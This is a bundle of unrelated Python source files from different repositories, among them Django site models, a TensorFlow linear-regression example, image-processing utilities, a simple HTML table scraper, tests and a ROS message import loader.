self.get(id=settings.SITE_ID) raise ImproperlyConfigured( "You're using the Webquills sites framework without having " "set the SITE_ID setting. Create a site in your database and " "set the SITE_ID setting or pass a request to " "Site.objects.get_current() to fix this error." ) def clear_cache(self): """Clear the ``Site`` object cache.""" global SITE_CACHE SITE_CACHE = {} def get_by_natural_key(self, domain): return self.get(domain=domain) class Site(models.Model): class Meta: ordering = ["domain"] verbose_name = _("site") verbose_name_plural = _("sites") domain = models.CharField( _("domain name"), max_length=100, unique=True, ) name = models.CharField(_("display name"), max_length=50) tagline = models.CharField( _("tagline"), max_length=255, blank=True, null=True, help_text=_("Subtitle. A few words letting visitors know what to expect."), ) author = models.ForeignKey( Author, verbose_name=_("author"), on_delete=models.SET_NULL, blank=True, null=True, help_text=_("Default author for any page without an explicit author"), ) objects = SiteManager() def __str__(self) -> str: return self.name def save(self, *args, **kwargs): # Saving a site could have changed a domain, or added a new domain that # was previously mapped to the default site. Nuke the cache to prevent # old mappings overriding new ones. global SITE_CACHE super().save(*args, **kwargs) SITE_CACHE = {} def delete(self, *args, **kwargs): # Hopefully we don't go around deleting sites too often, but still... SITE_CACHE.pop(self.domain, None) return super().delete(*args, **kwargs) def natural_key(self): return (self.domain,)
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reflexy/base/tests/test_reflex.py
eso/reflexy
0
38477
import unittest from reflexy.base import reflex class TestReflexModule(unittest.TestCase): sof = 'datasetname|file1.fits;PRO_CATG1;PURPOSE1:PURPOSE2,file2;' \ 'PRO_CAT2;PURPOSE1' sopexp = [('long_param1', '3'), ('param2', '3'), ('param3', 'ser'), ('param_not_shown', 'none')] sop = 'recipe_name:long_param1=3,recipe_name:param2=3,' \ 'recipe_name:param3=ser,recipe_name:param_not_shown=none' def test_parseSof(self): r = reflex.parseSof(self.sof) self.assertEqual(len(r), 2) self.assertEqual(r.datasetName, 'datasetname') f1, f2 = r.files self.assertEqual(f1.name, 'file1.fits') self.assertEqual(f1.category, 'PRO_CATG1') self.assertEqual(len(f1.purposes), 2) self.assertIn('PURPOSE1', f1.purposes) self.assertIn('PURPOSE2', f1.purposes) self.assertEqual(f2.name, 'file2') self.assertEqual(f2.category, 'PRO_CAT2') self.assertEqual(len(f2.purposes), 1) self.assertEqual(f2.purposes[0], 'PURPOSE1') def test_parseRoundTripJson(self): r = reflex.parseSof(self.sof) j = r.toJSON() r2 = reflex.parseSofJson(j) self.assertEqual(r, r2) def test_parseSop(self): r = reflex.parseSop(self.sop) self.assertEqual(len(r), len(self.sopexp)) for p, ep in zip(r, self.sopexp): self.assertEqual(p.recipe, 'recipe_name') self.assertEqual(p.displayName, ep[0]) self.assertEqual(p.value, ep[1]) if __name__ == "__main__": unittest.main()
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CS20si/examples/03_linreg_placeholder.py
kozistr/ML-Study
5
69176
""" Solution for simple linear regression example using placeholders Created by <NAME> (<EMAIL>) CS20: "TensorFlow for Deep Learning Research" cs20.stanford.edu Lecture 03 """ import os import time import numpy as np import matplotlib.pyplot as plt import tensorflow as tf import utils DATA_FILE = 'data/birth_life_2010.txt' # Step 1: read in data from the .txt file data, n_samples = utils.read_birth_life_data(DATA_FILE) # Step 2: create placeholders for X (birth rate) and Y (life expectancy) X = tf.placeholder(tf.float32, name='X') Y = tf.placeholder(tf.float32, name='Y') # Step 3: create weight and bias, initialized to 0 w = tf.get_variable('weights', initializer=tf.constant(0.0)) b = tf.get_variable('bias', initializer=tf.constant(0.0)) # Step 4: build model to predict Y Y_predicted = w * X + b # Step 5: use the squared error as the loss function # you can use either mean squared error or Huber loss loss = tf.square(Y - Y_predicted, name='loss') # loss = utils.huber_loss(Y, Y_predicted) # Step 6: using gradient descent with learning rate of 0.001 to minimize loss optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss) start = time.time() writer = tf.summary.FileWriter('./graphs/linear_reg', tf.get_default_graph()) with tf.Session() as sess: # Step 7: initialize the necessary variables, in this case, w and b sess.run(tf.global_variables_initializer()) # Step 8: train the model for 100 epochs for i in range(100): total_loss = 0 for x, y in data: # Session execute optimizer and fetch values of loss _, l = sess.run([optimizer, loss], feed_dict={X: x, Y: y}) total_loss += l print('Epoch {0}: {1}'.format(i, total_loss / n_samples)) # close the writer when you're done using it writer.close() # Step 9: output the values of w and b w_out, b_out = sess.run([w, b]) print('Took: %f seconds' % (time.time() - start)) # plot the results plt.plot(data[:, 0], data[:, 1], 'bo', label='Real data') plt.plot(data[:, 0], data[:, 0] * w_out + b_out, 'r', label='Predicted data') plt.legend() plt.show()
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bigstream/features.py
wangyuhan01/bigstream
14
21026
<reponame>wangyuhan01/bigstream<gh_stars>10-100 import numpy as np from fishspot.filter import white_tophat from fishspot.detect import detect_spots_log def blob_detection( image, min_blob_radius, max_blob_radius, **kwargs, ): """ """ wth = white_tophat(image, max_blob_radius) spots = detect_spots_log( wth, min_blob_radius, max_blob_radius, **kwargs, ).astype(int) intensities = image[spots[:, 0], spots[:, 1], spots[:, 2]] return np.hstack((spots[:, :3], intensities[..., None])) def get_spot_context(image, spots, vox, radius): """ """ output = [] for spot in spots: s = (spot/vox).astype(int) w = image[s[0]-radius:s[0]+radius+1, s[1]-radius:s[1]+radius+1, s[2]-radius:s[2]+radius+1] output.append( [spot, w] ) return output def _stats(arr): """ """ # compute mean and standard deviation along columns arr = arr.astype(np.float64) means = np.mean(arr, axis=1) sqr_means = np.mean(np.square(arr), axis=1) stddevs = np.sqrt( sqr_means - np.square(means) ) return means, stddevs def pairwise_correlation(A, B): """ """ # grab and flatten context a_con = np.array( [a[1].flatten() for a in A] ) b_con = np.array( [b[1].flatten() for b in B] ) # get means and std for all contexts, center contexts a_mean, a_std = _stats(a_con) b_mean, b_std = _stats(b_con) a_con = a_con - a_mean[..., None] b_con = b_con - b_mean[..., None] # compute pairwise correlations corr = np.matmul(a_con, b_con.T) corr = corr / a_std[..., None] corr = corr / b_std[None, ...] corr = corr / a_con.shape[1] # contexts with no variability are nan, set to 0 corr[np.isnan(corr)] = 0 return corr def match_points(A, B, scores, threshold): """ """ # split positions from context a_pos = np.array( [a[0] for a in A] ) b_pos = np.array( [b[0] for b in B] ) # get highest scores above threshold best_indcs = np.argmax(scores, axis=1) a_indcs = range(len(a_pos)) keeps = scores[(a_indcs, best_indcs)] > threshold # return positions of corresponding points return a_pos[keeps, :3], b_pos[best_indcs[keeps], :3]
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Chapter04/html_table_parser.py
PacktPublishing/Python-Penetration-Testing-Cookbook
48
138666
<reponame>PacktPublishing/Python-Penetration-Testing-Cookbook<gh_stars>10-100 import urllib2 import pandas as pd from bs4 import BeautifulSoup url = "https://www.w3schools.com/html/html_tables.asp" try: page = urllib2.urlopen(url) except Exception as e: print e pass soup = BeautifulSoup(page, "html.parser") table = soup.find_all('table')[0] new_table = pd.DataFrame( columns=['Company', 'Contact', 'Country'], index=range(0, 7)) row_number = 0 for row in table.find_all('tr'): column_number = 0 columns = row.find_all('td') for column in columns: new_table.iat[row_number, column_number] = column.get_text() column_number += 1 row_number += 1 print new_table # Uncomment the bellow line to export to csv # new_table.to_csv('table.csv') # Uncomment the bellow line to export to excel # new_table.to_excel('table.xlsx')
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llist_gameboard/urls.py
Plongesam/data-structures-game
2
15514
<filename>llist_gameboard/urls.py """ URL's for the LList Game Board app. """ from django.urls import path from llist_gameboard.api import llist_api from . import views urlpatterns = [ # Views path('', views.llist_game_board, name='llist-game-board'), #Game Play API Calls For Linked List path('llist_api', llist_api.api_overview, name='llist-game-board-api_overview'), path('llist_api/start_game/<str:difficulty>/<str:player_ids>/<str:data_structures>', llist_api.start_game, name='llist-game-board-start_game'), path('llist_api/board/<str:game_id>', llist_api.board, name='llist-game-board-game_status'), path('llist_api/dig_tunnel/<str:game_id>/<str:origin>/<str:destination>', llist_api.dig_tunnel, name='llist-game-board-dig_tunnel'), path('llist_api/dig_chamber/<str:game_id>/<str:origin>/<str:move_ant>/<str:ant>', llist_api.dig_chamber, name='llist-game-board-dig_chamber'), path('llist_api/fill_chamber/<str:game_id>/<str:to_fill>', llist_api.fill_chamber, name='llist-game-board-fill_chamber'), path('llist_api/spawn_ant/<str:game_id>', llist_api.spawn_ant, name='llist-game-board-spawn_ant'), path('llist_api/forage/<str:game_id>/<str:difficulty>/<str:dest>', llist_api.forage, name='llist-game-board-forage'), path('llist_api/move_food/<str:game_id>/<str:start>/<str:dest>', llist_api.move_food, name='llist-game-board-move_food'), path('llist_api/move_ant/<str:game_id>/<str:start>/<str:dest>', llist_api.move_ant, name='llist-game-board-move_ant'), ]
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domain/types.py
Fenthick/sla_dashboard_webapp
0
97946
AgentID = str """ Assigned by Kentik """ TestID = str """ Assigned by Kentik """ Threshold = float """ latency and jitter in milliseconds, packet_loss in percent (0-100) """ MetricValue = float """ latency and jitter in milliseconds, packet_loss in percent (0-100) """
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update_supply_chain_information/supply_chains/test/test_extract_csv.py
uktrade/update-supply-chain-information
0
35883
from io import StringIO from typing import List import os import csv import re import pytest from django.core.management import call_command from django.core.management.base import CommandError from django.core.files.temp import NamedTemporaryFile import accounts.models from supply_chains.management.commands.ingest_csv import ( MODEL_GOV_DEPT, MODEL_SUPPLY_CHAIN, MODEL_STRAT_ACTION, MODEL_STRAT_ACTION_UPDATE, ) from supply_chains.test.factories import ( SupplyChainFactory, StrategicActionFactory, StrategicActionUpdateFactory, GovDepartmentFactory, ) pytestmark = pytest.mark.django_db class TestExtractCSV: DUMP_CMD = "extract_csv" def setup_method(self): self.data_file = NamedTemporaryFile(suffix=".csv", delete=False) def teardown_method(self): os.remove(self.data_file.name) def load_csv(self) -> List: with open(self.data_file.name) as f: reader = csv.DictReader(f) rows = list(reader) return rows def invoke_dump(self, *args): with StringIO() as status: call_command(self.DUMP_CMD, *args, stdout=status) return status.getvalue() def test_dump_accounts_data(self): # Arrange trade_domian = "dosac.gov.uk" trade_name = "DOSAC" hmrc_domain = "hmrc.gov.uk" hmrc_name = "HMRC" GovDepartmentFactory(email_domains=[trade_domian], name=trade_name) GovDepartmentFactory(email_domains=[hmrc_domain], name=hmrc_name) # Act self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 3 lookup = {x["name"]: x for x in rows} assert ( lookup[trade_name]["name"] == trade_name and lookup[trade_name]["email_domain_0"] == trade_domian ) assert ( lookup[hmrc_name]["name"] == hmrc_name and lookup[hmrc_name]["email_domain_0"] == hmrc_domain ) def test_dump_accounts_data_multi_domain(self): # Arrange trade_domians = "dosac.gov.uk", "analogue.dosac.gov.uk" trade_name = "DOSAC" GovDepartmentFactory(email_domains=trade_domians, name=trade_name) # Act self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 2 assert all(k in rows[0] for k in ("email_domain_0", "email_domain_1")) def test_dump_accounts_no_data(self): # Arrange accounts.models.GovDepartment.objects.all().delete() # Act self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name) # Assert assert os.path.exists(self.data_file.name) assert os.stat(self.data_file.name).st_size == 0 def test_dump_sc_data(self): # Arrange SupplyChainFactory() # Act self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 1 assert re.match(f"Product ", rows[0]["name"]) def test_dump_sc_data_multiple(self): # Arrange SupplyChainFactory.create_batch(5) # Act self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 5 names = [x["name"] for x in rows] assert all([x.startswith("Product ") for x in names]) ids = [x["id"] for x in rows] assert len(ids) == len(set(ids)) def test_dump_sa_data(self): # Arrange sc = SupplyChainFactory() StrategicActionFactory(supply_chain=sc) # Act self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 1 assert re.match(f"Strategic action ", rows[0]["name"]) assert rows[0]["supply_chain"] == str(sc.id) def test_dump_sa_data_multiple(self): # Arrange exp_sc_ids = list() for _ in range(4): sc = SupplyChainFactory() StrategicActionFactory(supply_chain=sc) exp_sc_ids.append(str(sc.id)) # Act self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 4 ids = [x["id"] for x in rows] assert len(ids) == len(set(ids)) sc_ids = [x["supply_chain"] for x in rows] assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))]) names = [x["name"] for x in rows] assert all([x.startswith("Strategic action ") for x in names]) def test_dump_sau_data(self): # Arrange sc = SupplyChainFactory() sa = StrategicActionFactory(supply_chain=sc) StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa) # Act self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 1 assert rows[0]["supply_chain"] == str(sc.id) assert rows[0]["strategic_action"] == str(sa.id) def test_dump_sau_data_multiple(self): # Arrange exp_sc_ids = list() exp_sa_ids = list() for _ in range(4): sc = SupplyChainFactory() sa = StrategicActionFactory(supply_chain=sc) StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa) exp_sc_ids.append(str(sc.id)) exp_sa_ids.append(str(sa.id)) # Act self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name) rows = self.load_csv() # Assert assert len(rows) == 4 ids = [x["id"] for x in rows] assert len(ids) == len(set(ids)) sc_ids = [x["supply_chain"] for x in rows] assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))]) sa_ids = [x["strategic_action"] for x in rows] assert all([a == b for a, b in zip(sorted(sa_ids), sorted(exp_sa_ids))]) def test_dump_inv_model(self): # Arrange inv_model = "hello world" # Act # Assert with pytest.raises(CommandError, match=f"Unknown model {inv_model}"): self.invoke_dump(inv_model, self.data_file.name)
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run_pic.py
sven-mayer/VNect
1
84404
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- import cv2 import numpy as np import tensorflow as tf from src import utils box_size = 368 hm_factor = 8 joints_num = 21 scales = [1.0, 0.7] limb_parents = [1, 15, 1, 2, 3, 1, 5, 6, 14, 8, 9, 14, 11, 12, 14, 14, 1, 4, 7, 10, 13] with tf.Session() as sess: saver = tf.train.import_meta_graph('./models/tf_model/vnect_tf.meta') saver.restore(sess, tf.train.latest_checkpoint('./models/tf_model/')) # saver = tf.train.import_meta_graph('./models/trained/vnect_tf-1.meta') # saver.restore(sess, tf.train.latest_checkpoint('./models/trained/')) graph = tf.get_default_graph() input_batch = graph.get_tensor_by_name('Placeholder:0') heatmap = graph.get_tensor_by_name('split_2:0') x_heatmap = graph.get_tensor_by_name('split_2:1') y_heatmap = graph.get_tensor_by_name('split_2:2') z_heatmap = graph.get_tensor_by_name('split_2:3') # from src.vnect_model import VNect # model = VNect() # input_batch = model.input_holder # heatmap = model.heatmap # x_heatmap, y_heatmap, z_heatmap = model.x_heatmap, model.y_heatmap, model.z_heatmap # sess.run(tf.global_variables_initializer()) img = cv2.imread('./pic/test_pic.jpg') img_square = utils.img_scale_squarify(img, box_size) img_square = img_square[np.newaxis, ...] hm, xm, ym, zm = sess.run([heatmap, x_heatmap, y_heatmap, z_heatmap], {input_batch: img_square/255-0.4}) joints_2d = utils.extract_2d_joints_from_heatmaps(hm[0, ...], box_size, hm_factor) for i in range(21): if i == 0: himg = hm[0, :, :, i] ximg = xm[0, :, :, i] yimg = ym[0, :, :, i] zimg = zm[0, :, :, i] else: tmp = hm[0, :, :, i] himg = np.hstack([himg, tmp]) tmp = xm[0, :, :, i] ximg = np.hstack([ximg, tmp]) tmp = ym[0, :, :, i] yimg = np.hstack([yimg, tmp]) tmp = zm[0, :, :, i] zimg = np.hstack([zimg, tmp]) all_hm = np.vstack([himg, ximg, yimg, zimg]) cv2.imshow('all heatmaps', all_hm*128) img_res2d = utils.draw_limbs_2d(img_square[0, ...], joints_2d, limb_parents) cv2.imshow('2D results', img_res2d) cv2.waitKey() cv2.destroyAllWindows() print(hm[0, :, :, 0]) # np.savetxt('original', hm[0, :, :, 0])
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contohRekursif.py
muhiqsimui/PyTraining
6
182278
#rekursif adalah fungsi yg memanggil dirinya sendiri ok sip def cetak(x): print(x) if x>1: cetak(x-1) elif x<1: cetak(x+1) cetak(5)
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gen/welcome.py
seen-idc/image-gen
0
173736
<reponame>seen-idc/image-gen<gh_stars>0 from io import BytesIO from PIL import Image, ImageDraw, ImageFont from utils import get_image from utils.masks import circle_mask circlemask = circle_mask((256, 256)) font = ImageFont.truetype('./NunitoSans-Regular.ttf', 56) outline_color = "#2af54f" avatar_pos_x = 352 avatar_pos_y = 72 def generate_welcome(name, tag, avatar): image = Image.new('RGBA', (960, 540), (0, 0, 0, 0)) print(name,tag) pfp = get_image(avatar).resize((256, 256)).convert('RGBA') draw = ImageDraw.Draw(image) draw.rounded_rectangle((0, 0 , 960, 540), 60, (3, 7, 15)) image.paste(pfp, (avatar_pos_x , avatar_pos_y), circlemask) draw.ellipse((avatar_pos_x, avatar_pos_y, avatar_pos_x + 256, avatar_pos_y + 256), outline=outline_color, width=8) draw.textsize(f'{name}#{tag}', font) size = draw.textsize(f'Welcome\n{name}#{tag}', font=font) draw.text((960 / 2 - size[0] / 2, 72 + 256 - size[1] + 130), f'Welcome\n{name}#{tag}', font=font, align='center') b = BytesIO() image.save(b, format='png') b.seek(0) return b
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rosimport/_rosdef_loader.py
asmodehn/rosimport
5
1361
<filename>rosimport/_rosdef_loader.py from __future__ import absolute_import, division, print_function import contextlib import importlib import site import tempfile import shutil from rosimport import genrosmsg_py, genrossrv_py """ A module to setup custom importer for .msg and .srv files Upon import, it will first find the .msg file, then generate the python module for it, then load it. TODO... """ # We need to be extra careful with python versions # Ref : https://docs.python.org/dev/library/importlib.html#importlib.import_module # Ref : http://stackoverflow.com/questions/67631/how-to-import-a-module-given-the-full-path # Note : Couldn't find a way to make imp.load_source deal with packages or relative imports (necessary for our generated message classes) import os import sys import logging # Class to allow dynamic search of packages class RosSearchPath(dict): """ Class to allow dynamic search of packages. This is where we hook up into python import mechanism in order to generate and discover packages and messages we are depending on. But it should not be used during the generation of multiple messages in only one package, as this is too tricky to get right, and too easy to break by mistake. """ def __init__(self, **ros_package_paths): # we use the default ROS_PACKAGE_PATH if already setup in environment. # This allows us to find message definitions in a ROS distro (and collaborate with pyros_setup) package_paths = {} for distropath in [d for d in os.environ.get('ROS_PACKAGE_PATH', '').split(':') if os.path.exists(d)]: for p in [pkgd for pkgd in os.listdir(distropath) if os.path.exists(os.path.join(distropath, pkgd, 'msg'))]: package_paths[p] = package_paths.get(p, set()) | {os.path.join(distropath, p, 'msg')} # we add any extra path package_paths.update(ros_package_paths) super(RosSearchPath, self).__init__(package_paths) def try_import(self, item): try: # we need to import the .msg submodule (only one usable as dependency) mod = importlib.import_module(item + '.msg') # import succeeded : we should get the namespace path # and add it to the list of paths to avoid going through this all over again... for p in mod.__path__: # Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory. msg_path = os.path.join(p) # We add a path only if we can find the 'msg' directory self[item] = self.get(item, set() | ({msg_path} if os.path.exists(msg_path) else set())) return mod except ImportError: # import failed return None def __contains__(self, item): """ True if D has a key k, else False. """ has = super(RosSearchPath, self).__contains__(item) if not has: # attempt importing. solving ROS path setup problem with python import paths setup. self.try_import(item) # Note : if ROS is setup, rospkg.RosPack can find packages # try again (might work now) return super(RosSearchPath, self).__contains__(item) def __getitem__(self, item): """ x.__getitem__(y) <==> x[y] """ got = super(RosSearchPath, self).get(item) if got is None: # attempt discovery by relying on python core import feature. self.try_import(item) # Note : if ROS is setup, rospkg.RosPack can find packages return super(RosSearchPath, self).get(item) # singleton instance, to keep used ros package paths in cache ros_import_search_path = RosSearchPath() def RosLoader(rosdef_extension): """ Function generating ROS loaders. This is used to keep .msg and .srv loaders very similar """ if rosdef_extension == '.msg': loader_origin_subdir = 'msg' loader_file_extension = rosdef_extension loader_generated_subdir = 'msg' loader_generator = genrosmsg_py elif rosdef_extension == '.srv': loader_origin_subdir = 'srv' loader_file_extension = rosdef_extension loader_generated_subdir = 'srv' loader_generator = genrossrv_py else: raise RuntimeError("RosLoader for a format {0} other than .msg or .srv is not supported".format(rosdef_extension)) import filefinder2.machinery class ROSDefLoader(filefinder2.machinery.SourceFileLoader): """ Python Loader for Rosdef files. Note : We support ROS layout : - msg/myMsg.msg - srv/mySrv.srv - my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 ) OR inside the python code: - my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 ) - my_pkg/msg/myMsg.msg - my_pkg/srv/mySrv.srv BUT the following is also importable relatively, which is especially useful for tests or intra-package ROS communication, although it cannot be used as another package dependency (due to ROS limitations) - my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 ) - my_pkg/subpkg/__init__.py # doesnt really matters ( we rely on PEP 420 ) - my_pkg/subpkg/msg/myMsg.msg - my_pkg/subpkg/srv/mySrv.srv In that case myMsg.py will also be generated under mypkg.msg, but can be imported relatively from my_pkg/subpkg/module.py with "from .msg import mypkg" """ rosimport_tempdir = os.path.join(tempfile.gettempdir(), 'rosimport') def __init__(self, fullname, path): self.logger = logging.getLogger(__name__) # to normalize input path = os.path.normpath(path) # Doing this in each loader, in case we are running from different processes, # avoiding to reload from same file (especially useful for boxed tests). # But deterministic path to avoid regenerating from the same interpreter rosimport_path = os.path.join(self.rosimport_tempdir, str(os.getpid())) if not os.path.exists(rosimport_path): os.makedirs(rosimport_path) rospackage = fullname.partition('.')[0] if os.path.isdir(path): # if we get a package name ending with msg or srv and a non empty directory if ( fullname.endswith(loader_origin_subdir) and any([f.endswith(loader_file_extension) for f in os.listdir(path)]) ): # TODO : dynamic in memory generation (we do not need the file ultimately...) outdir, gen_rosdef_pkgpath = loader_generator( # generate message's python code at once, for this package level. rosdef_files=[os.path.join(path, f) for f in os.listdir(path)], package=fullname, sitedir=rosimport_path, search_path=ros_import_search_path, ) # TODO : handle thrown exception (cleaner than hacking the search path dict...) # try: # generator.generate_messages(package, rosfiles, outdir, search_path) # except genmsg.MsgNotFound as mnf: # try: # mod = importlib.import_module(mnf.package) # # import succeeded : we should get the namespace path that has '/msg' # # and add it to the list of paths to avoid going through this all over again... # for p in mod.__path__: # # Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory. # msg_path = os.path.join(p, genmsg_MSG_DIR) # # We add a path only if we can find the 'msg' directory # search_path[mnf.package] = search_path[mnf.package] + ([msg_path] if os.path.exists(msg_path) else []) # # Try generation again # generator.generate_messages(package, rosfiles, outdir, search_path) # except ImportError: # # import failed # return None if not os.path.exists(gen_rosdef_pkgpath): raise ImportError("{0} file not found".format(gen_rosdef_pkgpath)) # relying on usual source file loader since we have generated normal python code super(ROSDefLoader, self).__init__(fullname, gen_rosdef_pkgpath) def get_gen_path(self): """Returning the generated path matching the import""" return self.path # TODO : maybe useless ? # return os.path.join(self.outdir_pkg, loader_generated_subdir) def __repr__(self): return "ROSDefLoader/{0}({1}, {2})".format(loader_file_extension, self.name, self.path) @staticmethod def get_file_extension(): return loader_file_extension @staticmethod def get_origin_subdir(): return loader_origin_subdir @staticmethod def get_generated_subdir(): return loader_generated_subdir return ROSDefLoader ROSMsgLoader = RosLoader(rosdef_extension='.msg') ROSSrvLoader = RosLoader(rosdef_extension='.srv')
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examples/verlet_chain/relax.py
Peque/pyqtgraph
0
53516
import ctypes import os so = os.path.join(os.path.dirname(__file__), 'maths.so') lib = ctypes.CDLL(so) lib.relax.argtypes = [ ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ] def relax(pos, links, mrel1, mrel2, lengths, push, pull, iters): nlinks = links.shape[0] lib.relax(pos.ctypes, links.ctypes, mrel1.ctypes, mrel2.ctypes, lengths.ctypes, push.ctypes, pull.ctypes, nlinks, iters)
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